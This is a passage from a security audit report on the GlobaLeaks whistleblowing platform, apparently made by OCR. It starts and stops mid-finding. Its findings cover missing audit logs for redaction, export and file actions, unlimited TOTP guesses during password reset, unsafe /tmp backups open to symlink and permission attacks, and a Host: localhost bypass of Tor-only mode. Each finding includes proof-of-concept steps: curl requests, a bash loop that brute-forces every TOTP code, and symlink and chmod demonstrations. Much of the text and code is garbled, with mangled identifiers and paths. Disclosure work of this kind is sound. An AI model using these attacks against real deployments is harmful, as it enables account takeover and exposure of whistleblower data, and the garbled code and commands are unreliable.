
‘-inf’

nf':

The issue can be reproduced on a report assigned to a recipient whose account has can_nask_i nf or mati on ; the
file-deletion variant additionally requires can_redact _i nfornati on .
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Steps to reproduce

1. As an administrator, grant a recipient the mask/redact permissions and assign them a report with a
whistleblower attachment.

2. As the recipient, create a new mask on any answer, comment, identity field, or file by posting to the redaction
collection endpoint.

curl -H "x-session: <recipient-session>" \

-H "content-type: application/json" \

-d {
“reference_id":"<answer-or-file-id>",
“internal tip_id":"<report-id>",
"entry":"0",
“operation":"full-mask",
“content_type":"file",
“tenporary_redaction":[{"start":"-inf","end":"inf"}],
" per manent _redaction": []

J 3

htt ps: // <host >/ api / r eci pi ent/redact i ons

3. As an administrator, fetch the audit log.

curl -H "x-session: <adnin-session>" https://<host>/ api/adm n/auditlog

No “update_redaction® or equivalent event is recorded for the newy created mask.

4. As the recipient, permanently redact the same fully masked file.

curl -X PUT -H "x-session: <recipient-session>" \

-H "content-type: application/json" \

-d ' {
"id":"<redaction-id>",
"reference_id":"<whistleblower-internal-file-id>",
“internaltip_id":"<report-id>",
“entry":"0",
“operation":"redact",
“content_type":"file",
“tenporary_redaction":[{"start":"-inf","end":"inf"}],
" per manent _redaction":[]

J 3N

htt ps: // <host >/ api / r eci pi ent/redact i ons/ <r edact i on-i d>

5. Fetch /api/admn/auditlog again.

The file record has been del eted, but the persistent audit |og still contains no
redaction or file-deletion event for the action.

Expected result

Every mask creation and permanent redaction, especially file deletion, should create a persistent audit entry
identifying the actor, report, redaction target, and operation.

Actual result

Initial redaction rows are created without db_| og() , and the full-file permanent redaction branch deletes the
whistleblower file without the updat e_redacti on audit event used by text redactions.
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Impact

This weakens accountability for sensitive report handling. A malicious or abusive recipient with mask/redact
privileges can hide content from other recipients or permanently remove a whistleblower attachment while
administrators reviewing the built-in persistent audit log cannot see who performed that action or which report
object was a ected.

Impacted users or systems:

e Reporting users whose submitted answers, identity data, comments, or attachments are masked or redacted.
e Administrators and compliance reviewers relying on the audit log to supervise recipient redaction activity.

e Other recipients on the same report who may see content disappear without an auditable actor trail.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None Low Low

CWE-778 ) Insu cient Logging
CWE-223 ) Omission of Security-relevant Information
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10.19 F-047 - Report export endpoint records no
audit log entry

Full report exports can be downloaded without generating the audit record that administrators would expect for
such access.

IMPACT COMPONENT FOUND BY
Auditability loss Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

Recipient report exports are served by /api/recipi ent/rtips/ 0/ export without creating a persistent
Audi t Log entry. A recipient who can access a report can download the full report archive, including comments

and attached files, while the administrator audit log records neither an export-specific event nor the report access
event that the normal report-detail endpoint writes.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ rest/api.py: 86 - /api/recipient/rtips/<uui d>/ export
backend/ gl obal eaks/ handl er s/ reci pi ent/ export. py: get _ti p_export
backend/ gl obal eaks/ handl er s/ r eci pi ent/ export. py: Export Handl er . get
backend/ gl obal eaks/ handl ers/ reci pient/rtip.py:db_get_rtip

Description:

The normal recipient report-detail flow records an access_report audit event after updating the
recipient/report access timestamps. The export flow performs equivalent sensitive report access, decrypts and
packages report data and files, and returns a ZIP archive, but it never calls db_| og() . For reports that are already
opened, a recipient can export the report repeatedly without adding any persistent audit entry for administrators
to review.

Relevant code:
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# backend/ gl obal eaks/rest/ api . py
(*/api/recipient/rtips', recipient.export.ExportHandl er,
r'/api/recipient/rtips/' + uuid_regexp + r'/export'),

# backend/ gl obal eaks/ handl er s/ reci pi ent/export. py
@r ansact
def get_tip_export(session, tid, user_id, itip_id, |anguage):
user, context, itip, rtip = session.query(nodels. User, nodels. Context,
nodel s. I nternal Tip, nodel s. Recei verTip) \
.filter(nodel s. User.id == user_id,
nodel s. User. tid == tid,
nodel s. Recei ver Ti p. recei ver _id ==
nodel s. User. i d,
nodel s. Internal Tip.id ==
nodel s. Recei verTip.internal tip_id,
nodel s. Internal Tip.id == itip_id,
nodel s. Context.id ==
nodel s. I nt ernal Ti p. cont ext _i d) . one_or _none()

if not user:
rai se errors. Resour ceNot Found

rtip.last_access = datetine_now()
if rtip.access_date == datetine_null():
rtip.access_date = rtip.last_access

if itip.status == 'new :
db_updat e_subni ssi on_stat us(session, tid, user_id, itip, 'opened , None)

return user.pgp_key_public, serialize_ rtip_export(session, user, itip, rtip,
context, |anguage)

cl ass Export Handl er (BaseHandl er):
check_rol es = 'receiver'

@nlineCal | backs
def get(self, itip_id):
pgp_key, tip_export = yield get_tip_export(self.request.tid,
sel f. session. user_id,
itip_id,
sel f.request. | anguage)

with stf.open('r') as f:
yield self.wite_file_as_downl oad(fil enane, f, pgp_key)

# backend/ gl obal eaks/ handl ers/ reci pient/rtip. py
def db_get_rtip(session, tid, user_id, itip_id, |anguage):
_, rtip, itip = db_access_rtip(session, tid, user_id, itip_id)

db_l og(session, tid=tid, type='access_report', user_id=user_id,
obj ect_id=itip.id)

return serializers.serialize_rtip(session, itip, rtip, |anguage),
Base64Encoder . decode(rtip. crypto_tip_prv_key)

PoC

The issue can be reproduced with any deployment that has an administrator, a recipient, and a report assigned to
that recipient.

Steps to reproduce

1. Create or use a report that is assigned to a recipient and is already in the opened state.

2. As an administrator, fetch the current persistent audit log and note the latest entries for that report.
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3. As the recipient, request the report export endpoint directly. The client does the same with a proof-of-work

token before opening this URL.

curl -L -H "x-session: <recipient-session>" \

"https://<host>/api/recipient/rtips/<report-uuid> export ?t oken=<pow t oken-

i d>: <pow answer >" \
-0 report.zip

4. As the administrator, fetch /api /adm n/ audi t| og again.

No “export_report’, “access_report , or equivalent audit event is added for the
export. By contrast, opening “/api/recipient/rtips/<report-uuid> through the
nornal report-detail endpoint records "access_report .

Expected result

Exporting a report should create a persistent audit event that identifies the recipient and report, such as
export_report oratleast access_report ,soadministrators can review bulk report-download activity.

Actual result

The export endpoint updates access timestamps and returns a ZIP archive but does not write to Audi t Log
unless the report was still new and the status transition produces an unrelated update_report_status event.

Impact

This is an auditability failure in a whistleblowing platform. A malicious or abusive recipient can download
complete report archives without leaving a persistent administrator-visible event for that export, reducing
accountability and incident-response evidence for sensitive report data handling.

Impacted users or systems:

e Reporting users whose report contents, comments, identity fields, and files are exported by a recipient.

o Administrators and compliance reviewers who rely on the persistent audit log to supervise report operations.

CONFIDENTIALITY
None

Insu cient Logging

INTEGRITY

Low

CWE-223 ) Omission of Security-relevant Information

AVAILABILITY
None
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10.20 F-053 - Recipient file uploads and
deletions lack author attribution and audit records

Files a recipient added or removed weren't attributed to them in the interface or the audit log, and the author was
lost when the file was deleted, so there was no record of who changed recipient files.

IMPACT COMPONENT FOUND BY

Auditability loss Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

Files that recipients attach to reports are stored with an aut hor _i d , but the backend omits that field from every
serialized Recei verFil e descriptor and does not write persistent audit events when those files are uploaded or

deleted. As a result, a recipient can attach or remove whistleblower-visible files on a report without the report Ul,
whistleblower Ul, export data, or administrator audit log preserving an actor-specific trail for the action.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ rest/ api . py: 87,90,99 - recipient file upload/ downl oad/ del ete
rout es

backend/ gl obal eaks/ handl ers/recipient/rtip.py:register_rfile_on_db

backend/ gl obal eaks/ handl ers/recipient/rtip.py:delete_rfile

backend/ gl obal eaks/ nodel s/ serial i zers. py:serialize rfile

client/app/src/shared/ partial s/wbfiles/wb-files.conponent.htm

Description:

register_rfile_on_db() recordswhich recipient uploaded afile in Recei verFile.author_id , but

serialize_rfile() omitsthatfield. Both recipient and whistleblower report serializers call

serialize rfile() ,sothe client cannot attribute the file to a recipient. The shared wb-files component
already tries to rendera From row using wbFi | e. aut hor , but the backend never sends aut hor or

aut hor _i d for recipient files. Upload and delete operations also do not call db_| og() , so the persistent
administrator audit log does not compensate for the missing serialized author.

Relevant code:
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# backend/ gl obal eaks/ handl ers/reci pient/rtip. py
@ransact
def register_rfile_on_db(session, tid, user_id, itip_id, uploaded_file):

new file = nodel s. Recei verFil e()

new file.id = upl oaded_file['filenane']

new file. author_id = user_id

new file.name = upl oaded fil e[’ name']

new file.description = uploaded_file['description']
new file.content_type = upl oaded_file['type']
new file.size = upl oaded file["'size']

new file.internaltip_id =itip.id

new file.visibility = uploaded_file['visibility']

sessi on. add(new fil e)
return serializers.serialize_rfile(session, newfile), itip.crypto_tip_pub_key

@r ansact

def delete_rfile(session, tid, user_id, file_id):
rfile = db_access_rfile(session, tid, user_id, file_id)
session. del ete(rfile)

# backend/ gl obal eaks/ nodel s/ seri al i zers. py
def serialize rfile(session, rfile):

error = not os.path. exists(os.path.join(State.settings.attachnents_path,
rfile.id))

return {
tid:orfile.id,
‘creation_date': rfile.creation_date,
"nane': rfile. nane,
‘size': rfile.size,
"type': rfile.content_type,
‘description': rfile.description,
‘visibility': rfile.visibility,
‘error': error

}

# client/app/src/shared/ partial s/wbfiles/wb-files.conponent.htni
@f (receivers_by_ id[wbFile.author]) {
<span>
<span>{{ ‘From | translate }}</span>:
<span>{{ receivers_by id[wbFile.author].nane }}</span>
</ span>

}

PoC

The issue can be reproduced with two recipients assigned to the same report and a whistleblower session for that
report.

Steps to reproduce

1. As recipient A, upload a pubilic file to the report through the normal recipient file endpoint.

curl -H "x-session: <recipient-a-session>" \
-F "fl owFi | ename=evi dence. pdf " \
-F "flowdentifier=<flowid>" \
-F "fl owChunkNunber =1" \
-F "flowrot al Chunks=1" \
-F "flowlot al Si ze=<si ze>" \
-F "visibility=public" \
-F "description=test" \
-F "file=@vi dence. pdf " \
https://<host>/ api/recipient/rtips/<report-id>/rfiles
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2. Open the report as recipient B or as the whistleblower and inspect the returned rfiles entry.

curl -H "x-session: <recipient-b-session>" \
https://<host>/ api /recipient/rtips/<report-id>

curl -H "x-session: <whistlebl ower-session>" \
htt ps: // <host >/ api / whi st | ebl ower/wbt i p

The “rfiles” descriptor contains fields such as "id", “creation_date’, "nane’,
“description’, and “visibility', but no “author®, “author_id", or equivalent actor
identifier. The U's "From  block cannot render because it indexes
“receivers_by_id[wbFile.author] .

3. As recipient A or another recipient with the direct file UUID, delete the same receiver file.

curl -X DELETE -H "x-session: <recipient-session>" \
https://<host>/api/recipient/rfiles/<receiver-file-id>

4. Fetch the administrator audit log.

curl -H "x-session: <adm n-session>" https://<host>/ api/adm n/auditl og

There is no "upload_receiver_file, “delete_receiver_file, or equivalent audit
entry tying either action to a recipient. Once the file rowis deleted, the
“author_id stored on the rowis gone as well.

Expected result

Recipient-attached files should preserve actor attribution in a durable audit trail and in serialized report data,
especially because the client already has Ul intended to show who attached the file.

Actual result

The only actor-specific field is stored on the database row, omitted from serialized data, absent from the

persistent audit log, and removed when the file row is deleted.

Impact

This is an auditability and accountability failure for recipient-controlled content shown to whistleblowers and
other recipients. A malicious or abusive recipient can attach misleading files or delete recipient-supplied files on a
report without an administrator-visible audit event or user-visible author trail that identifies the responsible
recipient.

Impacted users or systems:

¢ Reporting users who receive recipient-attached files without reliable attribution.
¢ Recipients collaborating on the same report who cannot reliably attribute file additions/removals.

e Administrators and compliance reviewers relying on the audit log to supervise recipient actions.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None Low Low
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CWE-223 ) Omission of Security-relevant Information

CWE-224 ) Obscured Security-relevant Information by Alternate Name

CWE-778 ) Insu cient Logging
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10.21 F-059 - Password reset flow lacks rate
limiting on TOTP verification

A stolen reset token can be paired with unlimited TOTP guesses until the password-reset second factor is
bypassed.

IMPACT COMPONENT FOUND BY
Recovery 2FA bypass Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

Password reset validation accepts unlimited two-factor code attempts for a valid reset token. A remote attacker
who obtains a reset token, and any required recovery-key material, can repeatedly call PUT
/ api / user/reset/password with guessed TOTP codes; wrong guesses only return

requi re_two_factor_authentication and do not consume the reset token, delay the caller, lock the reset flow,
or count failures against the account.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ user/reset _password. py - validate_password_reset(),
Passwor dReset Handl er . put ()

backend/ gl obal eaks/ rest/decorators. py - decorator_rate_ |imt()

backend/ gl obal eaks/ handl er s/ base. py - BaseHand! er. get _sessi on()

PUT /api/user/reset/ password

Description:

The reset-token validation endpoint verifies recovery-key material first, then verifies the user's TOTP code if a two-
factor secret is enrolled. When the TOTP check fails, the handler returns a structured status and leaves the reset
token valid for another try.

The generic rate limiter only applies login throttles to unauthenticated / api/ aut h/ aut henti cati on and
/api / aut h/ recei pt aut h requests, and it only applies whistleblower operation throttles to
/ api /whi st | ebl ower/ paths. /api/user/reset/password isnotincluded in either branch. Because
BaseHand| er. get _sessi on() accepts any valid same-tenant x-session , a public whistleblower submission

session can satisfy the generic session-or-token gate and then send reset-validation attempts without solving a
proof-of-work token for every guess.

As aresult, TOTP is the only remaining factor after reset-token compromise, but the backend does not enforce an
attempt budget, per-user delay, per-reset-token delay, token invalidation after repeated failures, or account
lockout for this critical authentication function.

Relevant code:
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backend/ gl obal eaks/ handl er s/ user/r eset _passwor d. py

143 if user.two_factor_secret:

144 try:

145 State.totp_verify(user.two_factor_secret, auth_code)

146 except Exception:

147 return {'status': 'require_two_factor_authentication'}

166 user _sessi on. properties['reset_token'] = reset_token

170 # Note: the token is not invalidated intentionally;

171 # it isrequired to preserve validity till actuall password reset

backend/ gl obal eaks/ rest/ decor at or s. py

127 el se:

128 if self.request.path in [b'/api/auth/authentication', b'/api/auth/
recei ptauth', b'/api/auth/authentication']:

129 del ay = State. RateLimt.check(b"l ogi ns_per_m nute_per_tenant _p

er_ip:" +tid+ b":" +client_ip,

144 State. RateLi mt.check(b"l ogi ns_per_n nute_per_systenft,
145

root _tenant. cache. t hreshol d_| ogi ns_per _ni nut e_per_system

146 60)

backend/ gl obal eaks/ handl er s/ base. py

132 if token:

133 try:

134 sel f.token = sel f.state.tokens. val i dat e(token)

135 if self.token.session is not None:

136 session = sel f.token. sessi on

141 if session_id:

142 sessi on = Sessi ons. get (sessi on_i d. decode())
PoC

Steps to reproduce

1. In a test instance, configure a user with password reset enabled and a two_f act or_secret .Requesta

password reset and obtain the reset token from the delivered email or test mail spool. If the user has encrypted
account data, also provide the correct recovery key or use a reset marker that contains the temporary encrypted
key created by an administrator reset.

reset _t oken=<64- hex reset token fromthe reset email>
recovery_key=<required recovery key, or enpty when no recovery key is required>

2. Obtain any same-tenant session. On default public deployments this can be a normal whistleblower submission
session created through the public submission flow; in a test environment it can be copied from the browser's x-
sessi on header after opening the submission page.

publ i c_sessi on=<sane-tenant Xx-session val ue>

3. Send repeated reset-validation attempts with guessed TOTP codes.
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for code in $(seq -w 000000 999999); do
curl -s -X PUT ' https:// TARGET/ api / user/reset/password' \
-H ' Content-Type: application/json \
-H "X-Session: ${public_session}" \
--data "{\"reset_token\":\"${reset _token}\",\"recovery_key\":\"${recovery_key}
\",\"auth_code\":\"${code}\"}"
done

4. Observe that wrong codes keep returning the retryable status and do not consume the reset token or trigger
reset-specific throttling.

{"status":"require_two_factor_authentication"}

5.When a current valid TOTP code is guessed, the same endpoint returns a reset-token session.

{"status":"success", "token": "<session id>"}

Expected result

Password reset validation should enforce an attempt budget for TOTP checks, such as per-account and per-
reset-token rate limits, progressive delays, reset-token invalidation after repeated failures, or a lockout that
requires issuing a new reset token.

Actual result

The reset endpoint permits repeated TOTP guesses for the same reset token. Failed TOTP checks return a
retryable status and are not covered by the login rate-limit buckets.

Impact

This weakens two-factor authentication in the password recovery flow. If a reset token is exposed through mailbox
compromise, forwarded reset mail, mail-spool/database exposure, browser history, logs, or another reset-token
leak, TOTP is intended to remain a second barrier. The reviewed backend lets an attacker automate guesses
against that barrier without consuming the reset token or hitting a reset-specific throttle.

Impacted users or systems:

¢ Internal users with two-factor authentication enabled.
¢ Deployments where reset tokens can remain valid long enough for automated attempts.

e Encrypted-account users when the attacker also has the recovery key or a reset marker containing the
temporary key material.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High High Low

Improper Restriction of Excessive Authentication Attempts
Weak Password Recovery Mechanism for Forgotten Password
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10.22 F-061 - Backup guidance exposes archives

Operators following the documented default backup path can leave a full whistleblowing archive exposed in a
shared temporary directory.

IMPACT COMPONENT FOUND BY
Backup data exposure Documentation GPT-5.5 medium v1

The backup and restore documentation states that gl - adm n backup writes a sensitive full application archive
to /tnp by default. The backup archive contains /var/ gl obal eaks data and may be created with permissions
derived from the caller's umask, which can expose confidential whistleblowing data to other local users.

Details

The documentation presents /tnp as the normal backup output location and does not instruct operators to use
a root-only directory, verify restrictive permissions, encrypt the archive, or remove temporary copies.

A ected source code, component, endpoint, or function:

docunent at i on/ set up/ backup- and-rest ore. r st
backend/ bi n/ gl - adm n

Description:

The backup documentation tells operators that the application data is stored in /var/globaleaks and that the
backup archive will be created in /tmp. The gl-admin implementation confirms that /tmp is the default backup
path and creates a tar.gz archive of the working directory.

Because the archive may contain reports, attachments, metadata, encryption material, and configuration secrets,
documentation should not normalize storing it in a shared temporary directory without explicit permission,
encryption, and retention guidance.

Relevant code:

docunent at i on/ set up/ backup-and-restore. rst:

3 The data of the application is contained in the directory "/var/gl obal eaks".
9 gl -adm n backup

11 After running the command, you will find a “tar.gz" archive in “/tnp .

backend/ bi n/ gl - admi n:
60 def defaul t_backup_path():

61 t = datetine.now().strftinme("%_%m%")
62 name = "gl obal eaks_backup_{}.tar.gz".format(t)
63 return os.path.join("/tnp", name)
102 sp. check_cal | ([“tar", "-zcf", args.backuppath, "--exclude="backups'", "-
C', args.workdir, '."'])
PoC

The issue can be reproduced by inspecting the documented backup behavior and the default path used by gl -
admn .
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Steps to reproduce

1. Inspect the backup documentation.

nl -ba docunentati on/ set up/ backup- and-restore. rst

2. Inspect the default backup path and archive creation code.

nl -ba backend/ bin/gl-admn | sed -n ' 60, 105p'

3. Observe the documented and implemented default.

The defaul t backup path is /tnp/gl obal eaks_backup_YY MM DD.tar.gz and the
docunentation tells operators to expect the archive in /tnp.

Expected result

Documentation should recommend writing backups to a root-only protected location, explicitly preserving
restrictive permissions, encrypting archives before moving them o -host, and deleting temporary copies
according to a retention policy.

Actual result

Documentation presents /tnp as the expected backup location without additional security handling.

Impact

This is an operational documentation issue that can lead to local disclosure of full platform backups when
operators follow the documented default behavior on multi-user systems or systems with permissive umask
settings.

Impacted users or systems:

e Operators following the documented backup procedure.

o Deployments where local users, support accounts, or other processes can inspect shared temporary

directories.
CONFIDENTIALITY INTEGRITY AVAILABILITY
High Low None

CWE-552 ) Files or Directories Accessible to External Parties
CWE-732 ) Incorrect Permission Assignment for Critical Resource
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10.23 F-062 - Local backup clobbers symlink
targets

A local user can turn the default backup path into a symlink and make a privileged backup overwrite another file.

IMPACT COMPONENT FOUND BY

File integrity loss Backend GPT-5.5 medium via
run_codex_cwe_line vl

gl -adm n backup writes the default backup archive to a predictable flenamein /tnp andinvokes tar -zcf

on that path without checking whether the destination already exists or is a symlink. A local user who can write to
/tnp can pre-create /tnp/gl obal eaks_backup_YY_MM DD.tar.gz as asymlink and cause a privileged backup

run to overwrite the symlink target with the generated archive.

Details

A ected source code, component, endpoint, or function:

backend/ bi n/ gl - adm n: def aul t _backup_path(), backup()
docunent at i on/ set up/ backup- and-rest ore. r st

Description:

The documented backup command uses /tmp as the default output directory and a date-derived filename that
is predictable to local users. The backup implementation passes that path directly to GNU tar with -zcf. If the path
is a symlink, tar follows it and truncates/writes the symlink target. On typical installations, operators run gl-admin
with elevated privileges because the backup contains /var/globaleaks application data. This creates a local
symlink-following file clobber primitive from a world-writable temporary directory.

Relevant code:

backend/ bi n/ gl - admi n:
60 def defaul t_backup_path():

61 t = datetine.now().strftine("%_%m%")

62 nane = "gl obal eaks_backup_{}.tar.gz".fornmat(t)

63 return os.path.join("/tnp", name)

102 sp. check_cal | (["tar", "-zcf", args.backuppath, "--exclude="backups'", "-
C', args.workdir, '.'])

docunent at i on/ set up/ backup-and-restore.rst:

9 gl -adnin backup

11 After running the command, you will find a “tar.gz" archive in “/tnp . The
file will be naned in the format: gl obal eaks_backup_YY_ MM DD tar.gz .

PoC

The following local reproduction uses the same tar -zcf 0 -C 1 . invocation pattern as gl -adn n backup
and shows that the backup destination follows a symlink.

Steps to reproduce
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1. Create a mock workdir, target file, and predictable backup-path symlink.

t npdi r=$(nktenp -d)

nkdir -p "$tnpdir/work"

printf 'secret' > "$tnpdir/work/ gl obal eaks. db"

printf "original' > "$tnpdir/target"”

In-s "$tnpdir/target” "$tnpdir/gl obal eaks_backup_test.tar.gz"

2. Run the same archive creation pattern used by gl -adn n backup .

tar -zcf "$tnpdir/gl obal eaks_backup_test.tar.gz" --exclude=" backups' -C "$tnpdir/
work" .

3. Inspect the symlink target.

I's -1 "$tnpdir/global eaks_backup_test.tar.gz" "$tnpdir/target"
we -c "$tnpdir/target”

Expected result

ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
PIVA IT 04164220230
REA VR-397513

The backup operation should refuse to write through a pre-existing symlink in a shared temporary directory, or

should create the archive in a private directory with exclusive creation semantics.

Actual result

The symlink remains in place and the symlink target is overwritten with the generated targz data.

Impact

This is a local symlink-following issue in the privileged backup workflow. A local attacker on a multi-user host can
prepare the predictable /tnp/ gl obal eaks_backup_YY MM DD tar.gz path before an operator runs the
documented gl -adm n backup command. If the operator runs the backup with privileges that can write to the

symlink target, the target file is truncated and replaced with backup archive data.

Impacted users or systems:

e Multi-user Global eaks hosts where unprivileged local users can create entriesin /tnp .

e Operators who run the documented gl - adm n backup command without passing an explicit protected

backup path.

CONFIDENTIALITY INTEGRITY AVAILABILITY

None High High

Improper Link Resolution Before File Access ('Link Following')
CWE-379 ) Creation of Temporary File in Directory with Insecure Permissions
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10.24 F-063 - Local backup leaks archive
contents

A pre-created world-readable backup file in /tnp can cause the next privileged backup to expose its full
contents locally.

IMPACT COMPONENT FOUND BY

Sensitive backup exposure Backend GPT-5.5 medium via
run_codex_cwe_line v1

gl -adm n backup writes the default backup archive to a predictable path in /tnp and passes that path directly
to tar -zcf .Ifalocal user pre-creates /tnp/ gl obal eaks_backup_YY_MM DD. tar.gz as aregular file with
permissive mode bits, tar truncates and rewrites that existing file instead of creating a new root-owned private file.
The resulting full GlobalLeaks backup can remain readable to the local user who prepared the file.

Details

A ected source code, component, endpoint, or function:

backend/ bi n/ gl -admi n: defaul t _backup_path(), backup()
docunent at i on/ set up/ backup- and-rest ore. r st

Description:

The documented backup command defaults to /tmp/globaleaks_backup_YY_MM_DD.targz, a filename that any
local user can predict. The backup code does not create the archive with exclusive creation semantics, does not
refuse pre-existing files, and does not set restrictive permissions on the destination before writing sensitive data.
GNU tar opens the specified archive path and writes into an existing regular file, preserving that file's existing
ownership and mode.

On deployments where an operator or automation runs the documented backup command with privileges to
read /var/globaleaks, a local user can pre-create the default archive path with mode 0666. If the kernel and
mount configuration allow the privileged backup process to open that pre-existing file, the generated archive
inherits the attacker-controlled file permissions and the local user can read the backup. The archive contains the
full application data directory, including reports, attachments, metadata, configuration, and key material.

Relevant code:

backend/ bi n/ gl - adm n:
60 def defaul t_backup_path():
61 t = datetine.now().strftine("%_%m%l")

62 narme = "gl obal eaks_backup_{}.tar.gz".format(t)

63 return os.path.join("/tnp", nane)

102 sp. check_cal | (["tar", "-zcf", args.backuppath, "--exclude="backups'", "-
C', args.workdir, '."'])

docunent at i on/ set up/ backup- and-restore.rst:

9 gl -adnin backup

11 After running the command, you will find a “tar.gz" archive in “/tnp . The
file will be naned in the format: gl obal eaks_backup_YY MM DD. tar.gz .
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The following local reproduction uses the same archive creation pattern as gl -adm n backup and shows that tar
preserves an existing destination file's permissive mode bits.

Steps to reproduce
1. Create a mock work directory and a pre-existing backup destination with world-readable permissions.
t npdi r=$(nktenp -d)
nkdir -p "$tnpdir/work"
printf 'secret report data\n' > "$tnpdir/work/ gl obal eaks. db"
touch "$tnpdir/ gl obal eaks_backup_test.tar.gz"

chnod 0666 "$t npdir/ gl obal eaks_backup_test.tar.gz"
I's -1 "$tnpdir/gl obal eaks_backup_test.tar.gz"

2. Run the same archive creation pattern used by gl -adm n backup .

tar -zcf "$tnpdir/gl obal eaks_backup_test.tar.gz" --exclude=" backups' -C "$tnpdir/
work" .

3. Inspect the resulting archive permissions and contents.

I's -1 "$tnpdir/global eaks_backup_test.tar.gz"
tar -tzf "$tnpdir/gl obal eaks_backup_test.tar.gz"

Expected result

The backup operation should create a new archive with restrictive ownership and mode, or refuse to write if the
predictable default path already exists.

Actual result

The archive is written into the pre-existing file and the file remains readable according to its previous mode bits,
suchas -rwrwrw .

Impact

This is a local permission-preservation issue in the privileged backup workflow. A local user on a multi-user host
can prepare the predictable default backup filename before an operator runs the documented gl - adm n

backup command. If the privileged backup process can open the pre-existing regular file, the sensitive backup
archive is written with attacker-controlled permissions and can be read by the local user.

Some hardened Linux configurations can reject privileged writes to other users' regular files in sticky world-
writable directories. The repository does not enforce that protection itself, and the backup code remains unsafe
on systems or configurations where that kernel mitigation is absent or disabled.

Impacted users or systems:

e Multi-user Global eaks hosts where unprivileged local users can create entriesin /tnp .

e Operators or automation that run the documented gl - adni n backup command without passing an explicit
protected output path.
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High Low

Incorrect Default Permissions

CWE-276
CWE-281 ) Improper Preservation of Permissions

CWE-379
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Public disclosure permitted

AVAILABILITY
None

Creation of Temporary File in Directory with Insecure Permissions
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10.25 F-064 - High ports bypass Tor-only mode

Tor-only deployments can still expose public APIs on high ports, letting remote clients bypass the intended
channel restriction.

IMPACT COMPONENT FOUND BY

Channel policy bypass Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

Disabling reachabl e_vi a_web removes hostname routing and packaged port redirects, but the backend still
binds public high ports and does not enforce the global Tor-only setting in request authorization. A remote client
that can reach TCP/8443 can send Host: | ocal host and access the root tenant, including public submission-
session creation when the per-role https_whi stl ebl oner flag remains at its default true value.

Details

A ected source code, component, endpoint, or function:

client/app/ src/ pages/ adn n/ network/tor/tor.conponent. htnmi - reachabl e_via web and
rol e HTTPS toggl es

client/app/ src/ pages/ adm n/ network/tor/tor.conponent.ts - updateTor ()
backend/ gl obal eaks/ rest/requests. py - Adm nNet wor kDesc

backend/ gl obal eaks/ handl er s/ adm n/ net wor k. py - Networ kI nst ance. put (),
db_updat e_net wor k()

backend/ gl obal eaks/ state. py - Stated ass. bi nd_tcp_ports()

debi an/ gl obal eaks.init - network_sandboxing_start()

backend/ gl obal eaks/ rest/ api.py - APl Resour ceW apper . render ()

backend/ gl obal eaks/ handl er s/ base. py - connection_check()

backend/ gl obal eaks/ handl ers/auth/ __init__.py - Recei pt Aut hHandl er. post ()
CET /api/public

PCST / api / aut h/ recei pt aut h

Description:

The administrator Ul presents reachabl e_vi a_web as the global control for whether the platform is reachable
without Tor. The role-specific HTTPS checkboxes are shown only while that global checkbox is enabled, but
disabling the global option does not clear or disable the hidden https_adnmin , https_receiver ,or

ht t ps_whi st | ebl oner values. Those values default to true.

On the backend, reachabl e_vi a web is accepted independently from the https_* flags and is not combined
with them in connecti on_check() . Runtime authorization only checks the role-specific https_0 flag and the
request's Tor heuristic. Separately, the daemon always reserves the remote 8080 and 8443 listeners on the
configured address. The Debian init script skips the 80/443 redirects when REACHABLE Ml A WEB=0 , but it does

not make the application reject direct high-port requests and the repository does not install a DROP/REJECT rule
for those high ports.

When reachabl e _vi a web is false, cache refresh intentionally omits the configured hostname from the tenant

hostname map. A normal request using the public hostname therefore fails tenant resolution, but
APl Resour ceW apper . render () special-cases Host: |ocal host and Host: 127.0.0.1 as the root tenant

without checking whether the peer is actually local. A remote client that can connectto https:// TARGET: 8443/
canset Host: |ocal host ,selecttenant 1, and reach public APIs. Because https_whi st| ebl oner remains true
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by default and is not gated by reachabl e_vi a_web , the same path can create a whistleblower submission
session over clearnet despite the global setting being disabled.

This is materially distinct from the active-session network-policy issue: no pre-existing session is required, and the
bypass targets the global web-reachability switch plus host-header tenant selection rather than stale per-request
enforcement for authenticated role sessions.

Relevant code:

client/app/ src/ pages/ adni n/ net wor k/ t or/tor. conponent . ht ni

31 <input id="reachabl e-via-web" cl ass="form check-i nput"

[ (ngModel )] =" net wor kDat a. r eachabl e_vi a_web" nane="reachabl e_vi a_web"

t ype="checkbox" >

32 <label for="reachabl e-via-web">{{ 'Let the platformbe reachabl e wthout Tor"
| translate }}</Iabel >

33 </div>

34 @f (networkData.reachabl e_via_web) {

35 <div>

36 <di v class="form group">

37 <l abel >{{ 'Roles enabled to use the platformw thout Tor' | translate }}</
| abel >

76 <i nput id="https-whistlebl ower" class="form check-input"

[ (ngMbdel )] =" net wor kDat a. ht t ps_whi st | ebl ower "

7 nane="ht t ps_whi st ebl ower" type="checkbox">

backend/ gl obal eaks/ rest/requests. py

253 Adm nNet wor kDesc = {

254 "https_admn': bool,

255 "https_anal yst': bool,

256 " https_custodian': bool ,

257 " htt ps_whi st ebl ower': bool ,
258 "https_receiver': bool,

259 ' reachabl e_vi a_web': bool ,

backend/ gl obal eaks/ st at e. py

168 for port in self.settings.bind remote_ports:

169 sock, fail = reserve_tcp_socket (self.settings.bind_address, port)
175 if port == 8443:

176 sel f. https_socks += [sock]

177 el se:

178 sel f. http_socks += [sock]

debi an/ gl obal eaks. i ni t

106 if [[ "$REACHABLE VIA WEB' -eq "1" ]]; then

107 iptabl es -mcomment --conment "gl obal eaks" -t nat -A PRERQUTING -p tcp
--dport 80 -j REDI RECT --to-port 8080

116 iptabl es -mcomment --conment "gl obal eaks" -t filter -AINPUT -p tcp --

dport 8443 -j ACCEPT

117 i p6t abl es -m comment --comment "gl obal eaks" -t filter -A INPUT -p tcp -
-dport 8443 -j ACCEPT

118 fi
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backend/ gl obal eaks/ rest/ api . py

416 request.client_using_tor = request.client_ip in State.tor_exit_set or 417
request.port == 8083

423 if not State.tenants[1].cache.w zard_done or 424

request . host nane. l ower () in (b'127.0.0.1', b'local host') or 425
